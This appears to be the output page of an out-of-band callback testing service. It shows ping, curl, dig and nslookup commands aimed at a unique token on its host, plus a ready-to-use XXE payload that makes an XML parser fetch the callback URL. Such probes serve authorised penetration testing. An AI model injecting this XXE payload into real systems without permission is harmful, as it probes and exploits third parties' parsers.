$ ping -c1 -p 00122c88b67e519d9e72419c3bbc6300 unhack.ca
 
$ curl http://unhack.ca/p/122c88b67e519d9e72419c3bbc63
 
$ dig 122c88b67e519d9e72419c3bbc63 @unhack.ca
 
$ dig 122c88b67e519d9e72419c3bbc63.ns.unhack.ca
 
C:\> nslookup 122c88b67e519d9e72419c3bbc63 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/122c88b67e519d9e72419c3bbc63">]>
    <foo>&xxe;</foo>
 
Waiting for ping...